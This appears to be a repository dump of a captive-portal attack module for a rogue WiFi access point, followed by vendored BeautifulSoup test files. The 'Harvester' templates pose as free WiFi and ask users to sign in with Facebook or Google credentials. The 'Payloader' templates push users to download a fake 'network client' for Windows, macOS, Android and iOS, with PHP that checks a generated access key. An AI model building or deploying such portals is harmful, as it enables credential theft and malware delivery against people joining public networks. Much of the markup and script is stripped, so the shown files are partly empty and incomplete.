-------------------------------------------------------------------------------- /includes/scripts/injects/Blank/MyPortal.php: -------------------------------------------------------------------------------- 1 | 3 | 4 | --> -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/backups/injectHTML.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/backups/injectJS.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/backups/injectPHP.txt: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/helper.php: -------------------------------------------------------------------------------- 1 | 3 | 4 | --> -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/injectHTML.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/injectJS.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Blank/injectPHP.txt: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/MyPortal.php: -------------------------------------------------------------------------------- 1 | 2 |
3 |

Enjoy free WiFi between

4 |

5 |
6 |

Simply enter your email address and password. If you do not already have an account with us one will be created for you.

7 |
8 |

9 | 10 | 11 |

12 |
13 | 14 |
15 |
16 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/backups/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/backups/injectPHP.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/helper.php: -------------------------------------------------------------------------------- 1 | 2 |
3 |

Enjoy free WiFi between

4 |

5 |
6 |

Simply enter your email address and password. If you do not already have an account with us one will be created for you.

7 |
8 |

9 | 10 | 11 |

12 |
13 | 14 |
15 |
16 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Free_WiFi_Week/injectPHP.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/MyPortal.php: -------------------------------------------------------------------------------- 1 | 2 | .pa_field { 3 | width: 70%; 4 | height: 30px; 5 | font-size: 18px; 6 | border: 1px solid #000; 7 | } 8 | .pa_main { 9 | background-color: rgba(255,255,255,.9); 10 | left: 0%; 11 | margin-top: 200px; 12 | text-align: center; 13 | padding-top: 75px; 14 | position: fixed; 15 | border-style:solid; 16 | border-width:medium; 17 | border-color:#aaa; 18 | -webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 19 | -moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 20 | box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 21 | } 22 | .pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 23 | .pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 24 | .pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 25 | .pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 26 | #pa_msgBox{ 27 | top: 50%; 28 | left: 50%; 29 | width: 600px; 30 | height: 400px; 31 | margin-top: -230px; 32 | margin-left: -300px; 33 | z-index: 10; 34 | display: none; 35 | } 36 | #pa_overlay-back { 37 | position: fixed; 38 | top: 0; 39 | left: 0; 40 | width: 100%; 41 | height: 100%; 42 | background-color: rgba(0,0,0,.7); 43 | z-index: 5; 44 | display: none; 45 | } 46 | .pa_connectButton { 47 | -moz-box-shadow:inset 0px 1px 3px 0px #3dc21b; 48 | -webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b; 49 | box-shadow:inset 0px 1px 3px 0px #3dc21b; 50 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a)); 51 | background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 52 | background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 53 | background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 54 | background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 55 | background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%); 56 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0); 57 | background-color:#1fd950; 58 | -moz-border-radius:5px; 59 | -webkit-border-radius:5px; 60 | border-radius:5px; 61 | border:1px solid #18ab29; 62 | display:inline-block; 63 | cursor:pointer; 64 | color:#ffffff; 65 | font-family:arial; 66 | font-size:22px; 67 | font-weight:bold; 68 | padding:12px 37px; 69 | text-decoration:none; 70 | text-shadow:0px -1px 0px #2f6627; 71 | } 72 | .pa_connectButton:hover { 73 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950)); 74 | background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 75 | background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 76 | background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 77 | background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 78 | background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%); 79 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0); 80 | background-color:#5cbf2a; 81 | } 82 | .pa_connectButton:active { 83 | position:relative; 84 | top:1px; 85 | } 86 | .pa_left { 87 | margin-left: 60px; 88 | } 89 | -------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/backups/injectHTML.txt: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Internet access is on us today.


4 |

Simply login with your Facebook or Google account
through our secure form below to start surfing.

5 |

6 |
7 | 8 |
9 |
10 |
11 | 12 |
13 |

14 | 15 |
-------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/backups/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/helper.php: -------------------------------------------------------------------------------- 1 | 2 | .pa_field { 3 | width: 70%; 4 | height: 30px; 5 | font-size: 18px; 6 | border: 1px solid #000; 7 | } 8 | .pa_main { 9 | background-color: rgba(255,255,255,.9); 10 | left: 0%; 11 | margin-top: 200px; 12 | text-align: center; 13 | padding-top: 75px; 14 | position: fixed; 15 | border-style:solid; 16 | border-width:medium; 17 | border-color:#aaa; 18 | -webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 19 | -moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 20 | box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 21 | } 22 | .pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 23 | .pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 24 | .pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 25 | .pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 26 | #pa_msgBox{ 27 | top: 50%; 28 | left: 50%; 29 | width: 600px; 30 | height: 400px; 31 | margin-top: -230px; 32 | margin-left: -300px; 33 | z-index: 10; 34 | display: none; 35 | } 36 | #pa_overlay-back { 37 | position: fixed; 38 | top: 0; 39 | left: 0; 40 | width: 100%; 41 | height: 100%; 42 | background-color: rgba(0,0,0,.7); 43 | z-index: 5; 44 | display: none; 45 | } 46 | .pa_connectButton { 47 | -moz-box-shadow:inset 0px 1px 3px 0px #3dc21b; 48 | -webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b; 49 | box-shadow:inset 0px 1px 3px 0px #3dc21b; 50 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a)); 51 | background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 52 | background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 53 | background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 54 | background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 55 | background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%); 56 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0); 57 | background-color:#1fd950; 58 | -moz-border-radius:5px; 59 | -webkit-border-radius:5px; 60 | border-radius:5px; 61 | border:1px solid #18ab29; 62 | display:inline-block; 63 | cursor:pointer; 64 | color:#ffffff; 65 | font-family:arial; 66 | font-size:22px; 67 | font-weight:bold; 68 | padding:12px 37px; 69 | text-decoration:none; 70 | text-shadow:0px -1px 0px #2f6627; 71 | } 72 | .pa_connectButton:hover { 73 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950)); 74 | background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 75 | background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 76 | background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 77 | background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 78 | background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%); 79 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0); 80 | background-color:#5cbf2a; 81 | } 82 | .pa_connectButton:active { 83 | position:relative; 84 | top:1px; 85 | } 86 | .pa_left { 87 | margin-left: 60px; 88 | } 89 | -------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/injectHTML.txt: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Internet access is on us today.


4 |

Simply login with your Facebook or Google account
through our secure form below to start surfing.

5 |

6 |
7 | 8 |
9 |
10 |
11 | 12 |
13 |

14 | 15 |
-------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Harvester/injectPHP.txt: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/MyPortal.php: -------------------------------------------------------------------------------- 1 | 2 | .pa_field { 3 | width: 70%; 4 | height: 30px; 5 | font-size: 18px; 6 | border: 1px solid black; 7 | } 8 | .pa_main { 9 | background-color: rgba(255,255,255,.9); 10 | left: 0%; 11 | margin-top: 200px; 12 | text-align: center; 13 | padding-top: 75px; 14 | position: fixed; 15 | border-style:solid; 16 | border-width:medium; 17 | border-color:#aaa; 18 | -webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 19 | -moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 20 | box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 21 | } 22 | .pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 23 | .pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 24 | .pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 25 | .pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 26 | #pa_akp { 27 | top: 50%; 28 | left: 50%; 29 | width: 600px; 30 | height: 340px; 31 | padding: 20px; 32 | margin-top: -200px; 33 | margin-left: -330px; 34 | z-index: 15; 35 | display: none; 36 | } 37 | #pa_overlay-back { 38 | position: fixed; 39 | top: 0; 40 | left: 0; 41 | width: 100%; 42 | height: 100%; 43 | background-color: rgba(0,0,0,.7); 44 | z-index: 5; 45 | display: none; 46 | } 47 | .pa_connectButton { 48 | -moz-box-shadow:inset 0px 1px 3px 0px #3dc21b; 49 | -webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b; 50 | box-shadow:inset 0px 1px 3px 0px #3dc21b; 51 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a)); 52 | background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 53 | background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 54 | background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 55 | background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 56 | background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%); 57 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0); 58 | background-color:#1fd950; 59 | -moz-border-radius:5px; 60 | -webkit-border-radius:5px; 61 | border-radius:5px; 62 | border:1px solid #18ab29; 63 | display:inline-block; 64 | cursor:pointer; 65 | color:#ffffff; 66 | font-family:arial; 67 | font-size:22px; 68 | font-weight:bold; 69 | padding:12px 37px; 70 | text-decoration:none; 71 | text-shadow:0px -1px 0px #2f6627; 72 | } 73 | .pa_connectButton:hover { 74 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950)); 75 | background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 76 | background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 77 | background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 78 | background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 79 | background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%); 80 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0); 81 | background-color:#5cbf2a; 82 | } 83 | .pa_connectButton:active { 84 | position:relative; 85 | top:1px; 86 | } 87 | .pa_left { 88 | margin-left: 60px; 89 | } 90 | -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/backups/injectHTML.txt: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Network Client Download


4 |

To access our WiFi please download and use our free network client software. 5 | When you run the program an access key will be generated which will need to be entered below 6 | in order to start surfing the internet.

7 |
8 |

Download Network Client

9 |
10 |
11 | 12 |

13 | 14 |
-------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/backups/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/backups/injectPHP.txt: -------------------------------------------------------------------------------- 1 | "; 8 | $app = ""; 9 | $apk = ""; 10 | $ipa = ""; 11 | 12 | /*==================*/ 13 | /* ^ DO NOT MODIFY ^ */ 14 | /*==================*/ 15 | 16 | $base = "/download/"; 17 | $exePath = $base . "windows/"; 18 | $appPath = $base . "osx/"; 19 | $apkPath = $base . "android/"; 20 | $ipaPath = $base . "ios/"; 21 | 22 | $destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . ""; 23 | 24 | /* 25 | This script checks the entered access key with the user's access key to either allow or deny them access. 26 | The key is held in a file that has the name of the user's IP address with all periods replaced with underscores 27 | in the $keyDir directory. The contents of the file are read in and compared with the supplied access key 28 | and either True or False are echoed back to the script in InjectJS. 29 | */ 30 | header('Access-Control-Allow-Origin: *'); 31 | if (isset($_POST['verifyAccessKey'])) { 32 | 33 | // Setup variables with the location of the key files 34 | $keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/"; 35 | $keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt"; 36 | 37 | // Open the key file associated with the current client and read the value 38 | $accessKey = file_get_contents($keyFile); 39 | 40 | // Check if the access key provided by the client matches the one from the file 41 | if ($_POST['verifyAccessKey'] == $accessKey) { 42 | echo True; 43 | } else { 44 | echo False; 45 | } 46 | kill(); 47 | } 48 | 49 | ?> -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/helper.php: -------------------------------------------------------------------------------- 1 | 2 | .pa_field { 3 | width: 70%; 4 | height: 30px; 5 | font-size: 18px; 6 | border: 1px solid black; 7 | } 8 | .pa_main { 9 | background-color: rgba(255,255,255,.9); 10 | left: 0%; 11 | margin-top: 200px; 12 | text-align: center; 13 | padding-top: 75px; 14 | position: fixed; 15 | border-style:solid; 16 | border-width:medium; 17 | border-color:#aaa; 18 | -webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 19 | -moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 20 | box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9); 21 | } 22 | .pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 23 | .pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 24 | .pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 25 | .pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;} 26 | #pa_akp { 27 | top: 50%; 28 | left: 50%; 29 | width: 600px; 30 | height: 340px; 31 | padding: 20px; 32 | margin-top: -200px; 33 | margin-left: -330px; 34 | z-index: 15; 35 | display: none; 36 | } 37 | #pa_overlay-back { 38 | position: fixed; 39 | top: 0; 40 | left: 0; 41 | width: 100%; 42 | height: 100%; 43 | background-color: rgba(0,0,0,.7); 44 | z-index: 5; 45 | display: none; 46 | } 47 | .pa_connectButton { 48 | -moz-box-shadow:inset 0px 1px 3px 0px #3dc21b; 49 | -webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b; 50 | box-shadow:inset 0px 1px 3px 0px #3dc21b; 51 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a)); 52 | background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 53 | background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 54 | background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 55 | background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%); 56 | background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%); 57 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0); 58 | background-color:#1fd950; 59 | -moz-border-radius:5px; 60 | -webkit-border-radius:5px; 61 | border-radius:5px; 62 | border:1px solid #18ab29; 63 | display:inline-block; 64 | cursor:pointer; 65 | color:#ffffff; 66 | font-family:arial; 67 | font-size:22px; 68 | font-weight:bold; 69 | padding:12px 37px; 70 | text-decoration:none; 71 | text-shadow:0px -1px 0px #2f6627; 72 | } 73 | .pa_connectButton:hover { 74 | background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950)); 75 | background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 76 | background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 77 | background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 78 | background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%); 79 | background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%); 80 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0); 81 | background-color:#5cbf2a; 82 | } 83 | .pa_connectButton:active { 84 | position:relative; 85 | top:1px; 86 | } 87 | .pa_left { 88 | margin-left: 60px; 89 | } 90 | -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/injectHTML.txt: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Network Client Download


4 |

To access our WiFi please download and use our free network client software. 5 | When you run the program an access key will be generated which will need to be entered below 6 | in order to start surfing the internet.

7 |
8 |

Download Network Client

9 |
10 |
11 | 12 |

13 | 14 |
-------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/injectJS.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /includes/scripts/injects/Payloader/injectPHP.txt: -------------------------------------------------------------------------------- 1 | "; 8 | $app = ""; 9 | $apk = ""; 10 | $ipa = ""; 11 | 12 | /*==================*/ 13 | /* ^ DO NOT MODIFY ^ */ 14 | /*==================*/ 15 | 16 | $base = "/download/"; 17 | $exePath = $base . "windows/"; 18 | $appPath = $base . "osx/"; 19 | $apkPath = $base . "android/"; 20 | $ipaPath = $base . "ios/"; 21 | 22 | $destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . ""; 23 | 24 | /* 25 | This script checks the entered access key with the user's access key to either allow or deny them access. 26 | The key is held in a file that has the name of the user's IP address with all periods replaced with underscores 27 | in the $keyDir directory. The contents of the file are read in and compared with the supplied access key 28 | and either True or False are echoed back to the script in InjectJS. 29 | */ 30 | header('Access-Control-Allow-Origin: *'); 31 | if (isset($_POST['verifyAccessKey'])) { 32 | 33 | // Setup variables with the location of the key files 34 | $keyDir = "/pineapple/modules/PortalAuth/includes/pass/keys/"; 35 | $keyFile = $keyDir . str_replace(".", "_", $_SERVER['REMOTE_ADDR']) . ".txt"; 36 | 37 | // Open the key file associated with the current client and read the value 38 | $accessKey = file_get_contents($keyFile); 39 | 40 | // Check if the access key provided by the client matches the one from the file 41 | if ($_POST['verifyAccessKey'] == $accessKey) { 42 | echo True; 43 | } else { 44 | echo False; 45 | } 46 | kill(); 47 | } 48 | 49 | ?> -------------------------------------------------------------------------------- /includes/scripts/libs/beautifulsoup4.egg-info/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.1 2 | Name: beautifulsoup4 3 | Version: 4.4.0 4 | Summary: Screen-scraping library 5 | Home-page: http://www.crummy.com/software/BeautifulSoup/bs4/ 6 | Author: Leonard Richardson 7 | Author-email: leonardr@segfault.org 8 | License: MIT 9 | Download-URL: http://www.crummy.com/software/BeautifulSoup/bs4/download/ 10 | Description: Beautiful Soup sits atop an HTML or XML parser, providing Pythonic idioms for iterating, searching, and modifying the parse tree. 11 | Platform: UNKNOWN 12 | Classifier: Development Status :: 5 - Production/Stable 13 | Classifier: Intended Audience :: Developers 14 | Classifier: License :: OSI Approved :: MIT License 15 | Classifier: Programming Language :: Python 16 | Classifier: Programming Language :: Python :: 2 17 | Classifier: Programming Language :: Python :: 3 18 | Classifier: Topic :: Text Processing :: Markup :: HTML 19 | Classifier: Topic :: Text Processing :: Markup :: XML 20 | Classifier: Topic :: Text Processing :: Markup :: SGML 21 | Classifier: Topic :: Software Development :: Libraries :: Python Modules 22 | -------------------------------------------------------------------------------- /includes/scripts/libs/beautifulsoup4.egg-info/SOURCES.txt: -------------------------------------------------------------------------------- 1 | AUTHORS.txt 2 | COPYING.txt 3 | MANIFEST.in 4 | NEWS.txt 5 | README.txt 6 | TODO.txt 7 | convert-py3k 8 | setup.cfg 9 | setup.py 10 | test-all-versions 11 | beautifulsoup4.egg-info/PKG-INFO 12 | beautifulsoup4.egg-info/SOURCES.txt 13 | beautifulsoup4.egg-info/dependency_links.txt 14 | beautifulsoup4.egg-info/requires.txt 15 | beautifulsoup4.egg-info/top_level.txt 16 | bs4/__init__.py 17 | bs4/dammit.py 18 | bs4/diagnose.py 19 | bs4/element.py 20 | bs4/testing.py 21 | bs4/builder/__init__.py 22 | bs4/builder/_html5lib.py 23 | bs4/builder/_htmlparser.py 24 | bs4/builder/_lxml.py 25 | bs4/tests/__init__.py 26 | bs4/tests/test_builder_registry.py 27 | bs4/tests/test_docs.py 28 | bs4/tests/test_html5lib.py 29 | bs4/tests/test_htmlparser.py 30 | bs4/tests/test_lxml.py 31 | bs4/tests/test_soup.py 32 | bs4/tests/test_tree.py 33 | doc/Makefile 34 | doc.zh/Makefile 35 | doc.zh/source/conf.py 36 | doc/source/6.1.jpg 37 | doc/source/conf.py 38 | doc/source/index.rst 39 | scripts/demonstrate_parser_differences.py 40 | scripts/demonstration_markup.txt -------------------------------------------------------------------------------- /includes/scripts/libs/beautifulsoup4.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /includes/scripts/libs/beautifulsoup4.egg-info/requires.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | [lxml] 4 | lxml 5 | 6 | [html5lib] 7 | html5lib -------------------------------------------------------------------------------- /includes/scripts/libs/beautifulsoup4.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | bs4 2 | -------------------------------------------------------------------------------- /includes/scripts/libs/bs4/tests/__init__.py: -------------------------------------------------------------------------------- 1 | "The beautifulsoup tests." 2 | -------------------------------------------------------------------------------- /includes/scripts/libs/bs4/tests/test_docs.py: -------------------------------------------------------------------------------- 1 | "Test harness for doctests." 2 | 3 | # pylint: disable-msg=E0611,W0142 4 | 5 | __metaclass__ = type 6 | __all__ = [ 7 | 'additional_tests', 8 | ] 9 | 10 | import atexit 11 | import doctest 12 | import os 13 | #from pkg_resources import ( 14 | # resource_filename, resource_exists, resource_listdir, cleanup_resources) 15 | import unittest 16 | 17 | DOCTEST_FLAGS = ( 18 | doctest.ELLIPSIS | 19 | doctest.NORMALIZE_WHITESPACE | 20 | doctest.REPORT_NDIFF) 21 | 22 | 23 | # def additional_tests(): 24 | # "Run the doc tests (README.txt and docs/*, if any exist)" 25 | # doctest_files = [ 26 | # os.path.abspath(resource_filename('bs4', 'README.txt'))] 27 | # if resource_exists('bs4', 'docs'): 28 | # for name in resource_listdir('bs4', 'docs'): 29 | # if name.endswith('.txt'): 30 | # doctest_files.append( 31 | # os.path.abspath( 32 | # resource_filename('bs4', 'docs/%s' % name))) 33 | # kwargs = dict(module_relative=False, optionflags=DOCTEST_FLAGS) 34 | # atexit.register(cleanup_resources) 35 | # return unittest.TestSuite(( 36 | # doctest.DocFileSuite(*doctest_files, **kwargs))) 37 | -------------------------------------------------------------------------------- /includes/scripts/libs/bs4/tests/test_html5lib.py: -------------------------------------------------------------------------------- 1 | """Tests to ensure that the html5lib tree builder generates good trees.""" 2 | 3 | import warnings 4 | 5 | try: 6 | from bs4.builder import HTML5TreeBuilder 7 | HTML5LIB_PRESENT = True 8 | except ImportError, e: 9 | HTML5LIB_PRESENT = False 10 | from bs4.element import SoupStrainer 11 | from bs4.testing import ( 12 | HTML5TreeBuilderSmokeTest, 13 | SoupTest, 14 | skipIf, 15 | ) 16 | 17 | @skipIf( 18 | not HTML5LIB_PRESENT, 19 | "html5lib seems not to be present, not testing its tree builder.") 20 | class HTML5LibBuilderSmokeTest(SoupTest, HTML5TreeBuilderSmokeTest): 21 | """See ``HTML5TreeBuilderSmokeTest``.""" 22 | 23 | @property 24 | def default_builder(self): 25 | return HTML5TreeBuilder() 26 | 27 | def test_soupstrainer(self): 28 | # The html5lib tree builder does not support SoupStrainers. 29 | strainer = SoupStrainer("b") 30 | markup = "

A bold statement.

" 31 | with warnings.catch_warnings(record=True) as w: 32 | soup = self.soup(markup, parse_only=strainer) 33 | self.assertEqual( 34 | soup.decode(), self.document_for(markup)) 35 | 36 | self.assertTrue( 37 | "the html5lib tree builder doesn't support parse_only" in 38 | str(w[0].message)) 39 | 40 | def test_correctly_nested_tables(self): 41 | """html5lib inserts tags where other parsers don't.""" 42 | markup = ('' 43 | '' 44 | "') 48 | 49 | self.assertSoupEquals( 50 | markup, 51 | '
Here's another table:" 45 | '' 46 | '' 47 | '
foo
Here\'s another table:' 52 | '
foo
' 53 | '
') 54 | 55 | self.assertSoupEquals( 56 | "" 57 | "" 58 | "
Foo
Bar
Baz
") 59 | 60 | def test_xml_declaration_followed_by_doctype(self): 61 | markup = ''' 62 | 63 | 64 | 65 | 66 | 67 |

foo

68 | 69 | ''' 70 | soup = self.soup(markup) 71 | # Verify that we can reach the

tag; this means the tree is connected. 72 | self.assertEqual(b"

foo

", soup.p.encode()) 73 | 74 | def test_reparented_markup(self): 75 | markup = '

foo

\n

bar

' 76 | soup = self.soup(markup) 77 | self.assertEqual(u"

foo

\n

bar

", soup.body.decode()) 78 | self.assertEqual(2, len(soup.find_all('p'))) 79 | 80 | 81 | def test_reparented_markup_ends_with_whitespace(self): 82 | markup = '

foo

\n

bar

\n' 83 | soup = self.soup(markup) 84 | self.assertEqual(u"

foo

\n

bar

\n", soup.body.decode()) 85 | self.assertEqual(2, len(soup.find_all('p'))) 86 | 87 | def test_processing_instruction(self): 88 | """Processing instructions become comments.""" 89 | markup = b"""""" 90 | soup = self.soup(markup) 91 | assert str(soup).startswith("") 92 | -------------------------------------------------------------------------------- /includes/scripts/libs/bs4/tests/test_htmlparser.py: -------------------------------------------------------------------------------- 1 | """Tests to ensure that the html.parser tree builder generates good 2 | trees.""" 3 | 4 | from pdb import set_trace 5 | import pickle 6 | from bs4.testing import SoupTest, HTMLTreeBuilderSmokeTest 7 | from bs4.builder import HTMLParserTreeBuilder 8 | 9 | class HTMLParserTreeBuilderSmokeTest(SoupTest, HTMLTreeBuilderSmokeTest): 10 | 11 | @property 12 | def default_builder(self): 13 | return HTMLParserTreeBuilder() 14 | 15 | def test_namespaced_system_doctype(self): 16 | # html.parser can't handle namespaced doctypes, so skip this one. 17 | pass 18 | 19 | def test_namespaced_public_doctype(self): 20 | # html.parser can't handle namespaced doctypes, so skip this one. 21 | pass 22 | 23 | def test_builder_is_pickled(self): 24 | """Unlike most tree builders, HTMLParserTreeBuilder and will 25 | be restored after pickling. 26 | """ 27 | tree = self.soup("foo") 28 | dumped = pickle.dumps(tree, 2) 29 | loaded = pickle.loads(dumped) 30 | self.assertTrue(isinstance(loaded.builder, type(tree.builder))) 31 | 32 | 33 | -------------------------------------------------------------------------------- 